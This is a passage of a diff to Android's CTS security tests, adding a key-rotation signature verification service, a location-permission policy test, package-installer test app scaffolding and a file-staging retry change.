+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.keyrotationtest.service;
+
+import android.app.Service;
+import android.appsecurity.cts.keyrotationtest.utils.SignatureUtils;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.Signature;
+import android.content.pm.SigningInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+
+/**
+ * Provides a service that can be used within an Android application to verify the functionality of
+ * key rotation PackageManager APIs.
+ *
+ * <p>This service is specifically designed to test key rotation APIs, so some of the functionality
+ * is not generalized for multiple signers. For instance when testing {@link
+ * PackageManager#getPackageInfo(String, int)} with {@link PackageManager#GET_SIGNATURES} a response
+ * with multiple signatures is treated as an error. For the key rotation case this flag should only
+ * result in the original signer in the lineage being returned; since multiple signers are not
+ * supported with the V3 signature scheme this error is reported to the caller.
+ */
+public class SignatureQueryService extends Service {
+    private SignatureQueryServiceImpl signatureQueryService;
+
+    /** Service lifecycle callback method that is invoked when the service is first created. */
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        signatureQueryService = new SignatureQueryServiceImpl(getPackageManager(),
+                getPackageName());
+    }
+
+    /**
+     * Service lifecycle callback method that is invoked when a client attempts to bind to this
+     * service.
+     */
+    @Override
+    public IBinder onBind(Intent intent) {
+        return signatureQueryService;
+    }
+
+    /**
+     * Implementation of the ISignatureQueryService to perform verification of the key rotation APIs
+     * within the PackageManager.
+     */
+    static class SignatureQueryServiceImpl extends ISignatureQueryService.Stub {
+        private final PackageManager packageManager;
+        private final String packageName;
+
+        /**
+         * Protected constructor that accepts the {@code packageManager} and {@code packageName} to
+         * be used for the key rotation API tests.
+         */
+        SignatureQueryServiceImpl(PackageManager packageManager, String packageName) {
+            this.packageManager = packageManager;
+            this.packageName = packageName;
+        }
+
+        /**
+         * Performs the verification of the PackageManager key rotation APIs.
+         *
+         * <p>Verification tests are performed against the provided {@code
+         * expectedSignatureDigests}, a
+         * String array containing the hex representation of the expected signature(s) SHA-256
+         * digest(s) for the package. Digests should be in the order of the lineage with the initial
+         * signer at index 0. A non-null {@code companionPackageName} indicates that the specified
+         * package is expected to have the same signing identity as the app within which this
+         * service runs; the {@code PackageManager#checkSignature} APIs are used to verify this.
+         *
+         * <p>The following tests are performed with the provided digests and package name:
+         *
+         * <ul>
+         *   <li>Verification of the original signer in the lineage returned from {@link
+         *       PackageManager#getPackageInfo(String, int)} with the {@link
+         *       PackageManager#GET_SIGNATURES} flag.
+         *   <li>Verification of all of the signers in the lineage returned from {@link
+         *       PackageManager#getPackageInfo(String, int)} with the {@link
+         *       PackageManager#GET_SIGNING_CERTIFICATES} flag.
+         *   <li>Verification of all of the signers in the lineage from {@link
+         *       PackageManager#hasSigningCertificate(String, byte[], int)}; this method should
+         *       return
+         *       true for each of the provided digests when queried by package name.
+         *   <li>Verification of all of the signers in the lineage from {@link
+         *       PackageManager#hasSigningCertificate(int, byte[], int)}; this method should
+         *       return true
+         *       for each of the provided digests when queried by package uid.
+         *   <li>Verification of the same signing identity between this app and the specified
+         *   package
+         *       from {@link PackageManager#checkSignatures(String, String)} and {@link
+         *       PackageManager#checkSignatures(int, int)}.
+         * </ul>
+         *
+         * If any failures are encountered during the verification the service will immediately
+         * set the appropriate return code in the bundle and return.
+         *
+         * <p>A Bundle is returned containing the following elements under the specified keys:
+         *
+         * <ul>
+         *   <li>{@link ISignatureQueryService#KEY_VERIFY_SIGNATURES_RESULT} - int representing the
+         *       result of the test. For a list of return codes see {@link ISignatureQueryService}.
+         *   <li>{@link ISignatureQueryService#KEY_GET_SIGNATURES_RESULTS} - a String array of
+         *       the hex encoding of each of the signatures returned from the getPackageInfo
+         *       invocation with the {@code PackageManager#GET_SIGNATURES} flag. If no signatures
+         *       are returned from this query this value will be an empty array.
+         *   <li>{@link ISignatureQueryService#KEY_GET_SIGNING_CERTIFICATES_RESULTS} - a String
+         *       array of the hex encoding of each of the signatures returned from the
+         *       getPackageInfo invocation with the {@code PackageManager#GET_SIGNING_CERTIIFCATES}
+         *       flag. If no signature are returned from this query this value will be an empty
+         *       array.
+         * </ul>
+         */
+        @Override
+        public Bundle verifySignatures(String[] expectedSignatureDigests,
+                String companionPackageName) {
+            Bundle responseBundle = new Bundle();
+            if (expectedSignatureDigests == null || expectedSignatureDigests.length == 0) {
+                responseBundle.putInt(KEY_VERIFY_SIGNATURES_RESULT,
+                        RESULT_NO_EXPECTED_SIGNATURES_PROVIDED);
+                return responseBundle;
+            }
+
+            // The SHA-256 MessageDigest is critical to all of the verification methods in this
+            // service, so ensure it is available before proceeding.
+            if (!SignatureUtils.computeSha256Digest(new byte[0]).isPresent()) {
+                responseBundle.putInt(
+                        KEY_VERIFY_SIGNATURES_RESULT, RESULT_SHA256_MESSAGE_DIGEST_NOT_AVAILABLE);
+                return responseBundle;
+            }
+
+            int verificationResult = verifyGetSignatures(expectedSignatureDigests, responseBundle);
+            if (verificationResult != RESULT_SUCCESS) {
+                responseBundle.putInt(KEY_VERIFY_SIGNATURES_RESULT, verificationResult);
+                return responseBundle;
+            }
+
+            verificationResult = verifyGetSigningCertificates(expectedSignatureDigests,
+                    responseBundle);
+            if (verificationResult != RESULT_SUCCESS) {
+                responseBundle.putInt(KEY_VERIFY_SIGNATURES_RESULT, verificationResult);
+                return responseBundle;
+            }
+
+            verificationResult = verifyHasSigningCertificate(expectedSignatureDigests);
+            if (verificationResult != RESULT_SUCCESS) {
+                responseBundle.putInt(KEY_VERIFY_SIGNATURES_RESULT, verificationResult);
+                return responseBundle;
+            }
+
+            verificationResult = verifyCheckSignatures(companionPackageName);
+            responseBundle.putInt(KEY_VERIFY_SIGNATURES_RESULT, verificationResult);
+            return responseBundle;
+        }
+
+        /**
+         * Verifies the {@code PackageManager#getPackageInfo(String, int)} API returns the expected
+         * signature when invoked with the {@code PackageManager#GET_SIGNATURES} flag.
+         *
+         * <p>With this flag the API should return an array of {@link Signature} objects with a
+         * single element, the first signer in the lineage. The signature(s) are added to the
+         * provided {@code responseBundle}, then the signature is compared against the first element
+         * in the specified {@code expectedSignatureDigests}.
+         *
+         * <p>The following return codes can be returned:
+         *
+         * <ul>
+         *   <li>{@link ISignaturefervice#RESULT_SUCCESS} if a single signature is returned and
+         *   matches the expected digest of the first signer in the provided lineage.
+         *   <li>{@link ISignatureQueryService#RESULT_PACKAGE_NOT_FOUND} if the package name
+         *   cannot be found by the PackageManager.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNATURES_NO_RESULTS} if no signatures
+         *   are returned.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNATURES_MULTIPLE_SIGNATURES} if
+         *   multiple signatures are returned.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNATURES_MISMATCH} if a single
+         *   signature is returned but does not match the first signer in the provided lineage.
+         * </ul>
+         */
+        private int verifyGetSignatures(String[] expectedSignatureDigests, Bundle responseBundle) {
+            PackageInfo packageInfo;
+            try {
+                packageInfo = packageManager.getPackageInfo(packageName,
+                        PackageManager.GET_SIGNATURES);
+            } catch (PackageManager.NameNotFoundException e) {
+                return RESULT_PACKAGE_NOT_FOUND;
+            }
+            Signature[] signatures = packageInfo.signatures;
+            copySignaturesToBundle(signatures, responseBundle, KEY_GET_SIGNATURES_RESULTS);
+            if (signatures == null || signatures.length == 0) {
+                return RESULT_GET_SIGNATURES_NO_RESULTS;
+            }
+            // GET_SIGNATURES should only return the initial signing certificate in the linage.
+            if (signatures.length > 1) {
+                return RESULT_GET_SIGNATURES_MULTIPLE_SIGNATURES;
+            }
+            if (!verifySignatureDigest(signatures[0], expectedSignatureDigests[0])) {
+                return RESULT_GET_SIGNATURES_MISMATCH;
+            }
+            return RESULT_SUCCESS;
+        }
+
+        /**
+         * Verifies the {@code PackageManager#getPackageInfo(String, int)} API returns the expected
+         * signatures when invoked with the {@code PackageManager#GET_SIGNING_CERTIFICATES} flag.
+         *
+         * <p>With this flag the API should return a {@link SigningInfo} object indicating whether
+         * the app is signed with multiple signers along with an array of {@code Signature} objects
+         * representing all of the signers in the lineage including the current signer. These
+         * signatures are added to the provided {@code responseBundle}, then each is verified
+         * against the specified {@code expectedSignatureDigests} to ensure that all of the expected
+         * signatures are returned by the API.
+         *
+         * <p>The following return codes can be returned by this method:
+         *
+         * <ul>
+         *   <li>{@link ISignatureQueryService#RESULT_SUCCESS} if the API returns that there is
+         *       only a single signer and all of the expected signatures are in the linage.
+         *   <li>{@link ISignatureQueryService#RESULT_PACKAGE_NOT_FOUND} if the package name
+         *       cannot be found by the PackageManager.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNING_CERTIFICATES_NO_RESULTS} if no
+         *       signatures are returned.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNING_CERTIFICATES_MULTIPLE_SIGNERS}
+         *       if the response from the API indicates the app has been signed by multiple signers.
+         *   <li>{@link
+         *   ISignatureQueryService#RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_NUMBER_OF_SIGNATURES}
+         *       if the returned number of signatures does not match the number of expected
+         *       signatures.
+         *   <li>{@link ISignatureQueryService#RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_SIGNATURE}
+         *       if the results contains one or more signatures that are not in the array of
+         *       expected signature digests.
+         * </ul>
+         */
+        private int verifyGetSigningCertificates(
+                String[] expectedSignatureDigests, Bundle responseBundle) {
+            PackageInfo packageInfo;
+            try {
+                packageInfo =
+                        packageManager.getPackageInfo(packageName,
+                                PackageManager.GET_SIGNING_CERTIFICATES);
+            } catch (PackageManager.NameNotFoundException e) {
+                return RESULT_PACKAGE_NOT_FOUND;
+            }
+            SigningInfo signingInfo = packageInfo.signingInfo;
+            Signature[] signatures =
+                    signingInfo != null ? signingInfo.getSigningCertificateHistory() : null;
+            copySignaturesToBundle(signatures, responseBundle,
+                    KEY_GET_SIGNING_CERTIFICATES_RESULTS);
+            if (signingInfo == null) {
+                return RESULT_GET_SIGNING_CERTIFICATES_NO_RESULTS;
+            }
+            if (signingInfo.hasMultipleSigners()) {
+                return RESULT_GET_SIGNING_CERTIFICATES_MULTIPLE_SIGNERS;
+            }
+            if (signatures.length != expectedSignatureDigests.length) {
+                return RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_NUMBER_OF_SIGNATURES;
+            }
+            // The signing certificate history should be in the order of the lineage.
+            for (int i = 0; i < signatures.length; i++) {
+                if (!verifySignatureDigest(signatures[i], expectedSignatureDigests[i])) {
+                    return RESULT_GET_SIGNING_CERTIFICATES_UNEXPECTED_SIGNATURE;
+                }
+            }
+            return RESULT_SUCCESS;
+        }
+
+        /**
+         * Verifies {@link PackageManager#hasSigningCertificate(String, byte[], int)} and {@link
+         * PackageManager#hasSigningCertificate(int, byte[], int)} APIs indicate that this package
+         * has the provided {@code expectedSignatureDigests} when querying by package name and uid.
+         *
+         * <p>The following return codes can be returned:
+         *
+         * <ul>
+         *   <li>{@link ISignatureQueryService#RESULT_SUCCESS} if the API indicates each of the
+         *       expected signing certificate digests is a signing certificate of the app.
+         *   <li>{@link ISignatureQueryService#RESULT_PACKAGE_NOT_FOUND} if the package name
+         *       cannot be found when querying for the app's uid.
+         *   <li>{@link ISignatureQueryService#RESULT_HAS_SIGNING_CERTIFICATE_BY_NAME_FAILED} if
+         *       the API returns one of the expected signing certificates is not found when querying
+         *       by package name.
+         *   <li>{@link ISignatureQueryService#RESULT_HAS_SIGNING_CERTIFICATE_BY_UID_FAILED} if
+         *       the API returns one of the expected signing certificates is not found when querying
+         *       by uid.
+         * </ul>
+         */
+        private int verifyHasSigningCertificate(String[] expectedSignatureDigests) {
+            int uid;
+            try {
+                ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+                uid = applicationInfo.uid;
+            } catch (PackageManager.NameNotFoundException e) {
+                return RESULT_PACKAGE_NOT_FOUND;
+            }
+            for (String expectedSignatureDigest : expectedSignatureDigests) {
+                byte[] signature = new Signature(expectedSignatureDigest).toByteArray();
+                if (!packageManager.hasSigningCertificate(
+                        packageName, signature, PackageManager.CERT_INPUT_SHA256)) {
+                    return RESULT_HAS_SIGNING_CERTIFICATE_BY_NAME_FAILED;
+                }
+                if (!packageManager.hasSigningCertificate(
+                        uid, signature, PackageManager.CERT_INPUT_SHA256)) {
+                    return RESULT_HAS_SIGNING_CERTIFICATE_BY_UID_FAILED;
+                }
+            }
+            return RESULT_SUCCESS;
+        }
+
+        /**
+         * Verifies {@link PackageManager#checkSignatures(String, String)} and {@link
+         * PackageManager#checkSignatures(int, int)} APIs indicate that this package and the
+         * provided {@code companionPackageName} have the same signing identity when querying by
+         * package name and uid.
+         *
+         * <p>The following return codes can be returned:
+         *
+         * <ul>
+         *   <li>{@link ISignatureQueryService#RESULT_SUCCESS} if the API indicates both this
+         *       package and the companion package have the same signing identity.
+         *   <li>{@link ISignatureQueryService#RESULT_COMPANION_PACKAGE_NOT_FOUND} if the companion
+         *       package name cannot be found when querying for the companion app's uid.
+         *   <li>{@link ISignatureQueryService#RESULT_CHECK_SIGNATURES_BY_NAME_NO_MATCH} if the API
+         *       returns that this package and the companion package do not have the same signing
+         *       identity when querying by name.
+         *   <li>{@link ISignatureQueryService#RESULT_CHECK_SIGNATURES_BY_UID_NO_MATCH} if the API
+         *       returns that this package and the companion package do not have the same signing
+         *       identity when querying by uid.
+         * </ul>
+         *
+         * <p>If a null companion package is specified the signing identity check is skipped, and
+         * the method returns {@code ISignatureQueryService#RESULT_SUCCESS}.
+         */
+        private int verifyCheckSignatures(String companionPackageName) {
+            if (companionPackageName == null) {
+                return RESULT_SUCCESS;
+            }
+            int uid;
+            int companionUid;
+            try {
+                ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+                uid = applicationInfo.uid;
+            } catch (PackageManager.NameNotFoundException e) {
+                return RESULT_PACKAGE_NOT_FOUND;
+            }
+            try {
+                ApplicationInfo applicationInfo =
+                        packageManager.getApplicationInfo(companionPackageName, 0);
+                companionUid = applicationInfo.uid;
+            } catch (PackageManager.NameNotFoundException e) {
+                return RESULT_COMPANION_PACKAGE_NOT_FOUND;
+            }
+            if (packageManager.checkSignatures(packageName, companionPackageName)
+                    != PackageManager.SIGNATURE_MATCH) {
+                return RESULT_CHECK_SIGNATURES_BY_NAME_NO_MATCH;
+            }
+            if (packageManager.checkSignatures(uid, companionUid)
+                    != PackageManager.SIGNATURE_MATCH) {
+                return RESULT_CHECK_SIGNATURES_BY_UID_NO_MATCH;
+            }
+            return RESULT_SUCCESS;
+        }
+
+        /**
+         * Returns whether the provided {@code signature} matches the specified {@code
+         * expectedDigest}.
+         */
+        private static boolean verifySignatureDigest(Signature signature, String expectedDigest) {
+            return SignatureUtils.computeSha256Digest(signature.toByteArray())
+                    .get()
+                    .equals(expectedDigest);
+        }
+
+        /**
+         * Copies the provided {@code signatures} to the specified {@code responseBundle} using the
+         * {@code bundleKey} as the key under which to store the signatures.
+         *
+         * <p>If the provided {@code Signature} array is null or empty then a String array of length
+         * zero is written to the bundle.
+         */
+        private static void copySignaturesToBundle(
+                Signature[] signatures, Bundle responseBundle, String bundleKey) {
+            String[] bundleSignatures;
+            if (signatures != null) {
+                bundleSignatures = new String[signatures.length];
+                for (int i = 0; i < signatures.length; i++) {
+                    bundleSignatures[i] = signatures[i].toCharsString();
+                }
+            } else {
+                bundleSignatures = new String[0];
+            }
+            responseBundle.putStringArray(bundleKey, bundleSignatures);
+        }
+    }
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/utils/SignatureUtils.java b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/utils/SignatureUtils.java
new file mode 100644
index 0000000..1bff8d6
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/KeyRotationTest/src/android/appsecurity/cts/keyrotationtest/utils/SignatureUtils.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.keyrotationtest.utils;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Optional;
+
+/** Provides utility methods that can be used for signature verification. */
+public class SignatureUtils {
+    private SignatureUtils() {}
+
+    private static final char[] HEX_CHARACTERS = "0123456789abcdef".toCharArray();
+
+    /**
+     * Computes the sha256 digest of the provided {@code data}, returning an Optional containing a
+     * String representing the hex encoding of the digest.
+     *
+     * <p>If the SHA-256 MessageDigest instance is not available this method will return an empty
+     * Optional.
+     */
+    public static Optional<String> computeSha256Digest(byte[] data) {
+        MessageDigest messageDigest;
+        try {
+            messageDigest = MessageDigest.getInstance("SHA-256");
+        } catch (NoSuchAlgorithmException e) {
+            return Optional.empty();
+        }
+        messageDigest.update(data);
+        return Optional.of(toHexString(messageDigest.digest()));
+    }
+
+    /** Returns a String representing the hex encoding of the provided {@code data}. */
+    public static String toHexString(byte[] data) {
+        char[] result = new char[data.length * 2];
+        for (int i = 0; i < data.length; i++) {
+            int resultIndex = i * 2;
+            result[resultIndex] = HEX_CHARACTERS[(data[i] >> 4) & 0x0f];
+            result[resultIndex + 1] = HEX_CHARACTERS[data[i] & 0x0f];
+        }
+        return new String(result);
+    }
+}
+
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
similarity index 67%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
index d957080..b7174d2 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,26 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
-android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+android_test {
+    name: "CtsLocationPolicyApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    static_libs: [
+        "androidx.test.rules",
+        "telephony-common",
+    ],
+    srcs: ["src/**/*.java"],
+    platform_apis: true,
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
+        "sts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    min_sdk_version: "27",
+    target_sdk_version: "28",
 }
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
new file mode 100644
index 0000000..ed9d1fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+  package="android.appsecurity.cts.locationpolicy">
+
+    <application>
+      <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.appsecurity.cts.locationpolicy"
+                     android:label="Test to check location policy access for bad sdk."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
new file mode 100644
index 0000000..74ce0c5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/LocationPolicyApp/src/android/appsecurity/cts/locationpolicy/LocationPolicyTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appsecurity.cts.locationpolicy;
+
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.platform.test.annotations.SecurityTest;
+import android.telephony.TelephonyManager;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class LocationPolicyTest {
+
+    private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    @SecurityTest
+    public void testLocationPolicyPermissions() throws Exception {
+        assertNotNull(mContext);
+        PackageManager pm = mContext.getPackageManager();
+        assertNotNull(pm);
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_FINE_LOCATION,
+            mContext.getPackageName()));
+        assertNotEquals(
+            PackageManager.PERMISSION_GRANTED,
+            pm.checkPermission(Manifest.permission.ACCESS_COARSE_LOCATION,
+            mContext.getPackageName()));
+        TelephonyManager tele = mContext.getSystemService(TelephonyManager.class);
+        try {
+            tele.getCellLocation();
+        fail(
+            "ACCESS_FINE_LOCATION and ACCESS_COARSE_LOCATION Permissions not granted. Should have"
+              + " received a security exception when invoking getCellLocation().");
+        } catch (SecurityException ignore) {
+          // That's what we want!
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
index 0886269..603ff5b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/src/com/android/cts/mediastorageapp/MediaStorageTest.java
@@ -78,6 +78,9 @@
     private ContentResolver mContentResolver;
     private int mUserId;
 
+    private static int currentAttempt = 0;
+    private static final int MAX_NUMBER_OF_ATTEMPT = 10;
+
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
@@ -207,18 +210,6 @@
             fail("Expected write access to be blocked");
         } catch (SecurityException | FileNotFoundException expected) {
         }
-
-        // Verify that we can't grant ourselves access
-        for (int flag : new int[] {
-                Intent.FLAG_GRANT_READ_URI_PERMISSION,
-                Intent.FLAG_GRANT_WRITE_URI_PERMISSION
-        }) {
-            try {
-                mContext.grantUriPermission(mContext.getPackageName(), blue, flag);
-                fail("Expected granting to be blocked for flag 0x" + Integer.toHexString(flag));
-            } catch (SecurityException expected) {
-            }
-        }
     }
 
     @Test
@@ -545,9 +536,19 @@
         runShellCommand(InstrumentationRegistry.getInstrumentation(), cmd);
     }
 
-    static File stageFile(File file) throws IOException {
-        file.getParentFile().mkdirs();
-        file.createNewFile();
+    static File stageFile(File file) throws Exception {
+        // Sometimes file creation fails due to slow permission update, try more times 
+        while(currentAttempt < MAX_NUMBER_OF_ATTEMPT) {
+            try {
+                file.getParentFile().mkdirs();
+                file.createNewFile();
+                return file;
+            } catch(IOException e) {
+                currentAttempt++;
+                // wait 500ms
+                Thread.sleep(500);
+            }
+        } 
         return file;
     }
 }
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
similarity index 60%
copy from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
copy to hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
index d957080..ae9171c 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/Android.bp
@@ -1,4 +1,3 @@
-//
 // Copyright (C) 2020 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
@@ -12,19 +11,30 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
-//
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "CtsPkgInstallerPermRequestApp",
     defaults: ["cts_defaults"],
-    sdk_version: "test_current",
-    // Tag this module as a cts test artifact
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "CtsPkgInstallerConstants",
+    ],
+    srcs: ["src/**/*.kt"],
+    // tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    sdk_version: "test_current",
+    target_sdk_version: "29",
+    // sign this app with a different cert than CtsPkgInstallerPermWhitelistApp
+    certificate: ":cts-testkey2",
+}
+
+java_library {
+    name: "CtsPkgInstallerConstants",
+    srcs: ["utils/src/**/PackageSetInstallerConstants.kt"],
+    host_supported: true,
 }
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
new file mode 100644
index 0000000..3c76813
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+       package="com.android.cts.packageinstallerpermissionrequestapp">
+
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.packageinstallerpermissionrequestapp"
+                     android:label="Test for unset package installer permission exploit."/>
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/src/com/android/cts/packageinstallerpermissionrequestapp/PermissionRequestTest.kt b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/src/com/android/cts/packageinstallerpermissionrequestapp/PermissionRequestTest.kt
new file mode 100644
index 0000000..1ca6a7f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/PackageInstallerPermissionRequestApp/src/com/android/cts/packageinstallerpermissionrequestapp/PermissionRequestTest.kt
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.packageinstallerpermissionrequestapp
+
+import android.Manifest
+import android.appsecurity.cts.PackageSetInstallerConstants
+import android.appsecurity.cts.PackageSetInstallerConstants.SHOULD_THROW_EXCEPTION_KEY
+import android.content.Context
+import android.content.pm.PackageManager
+import android.os.Bundle
+import androidx.test.InstrumentationRegistry
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Assert
+import org.junit.Before
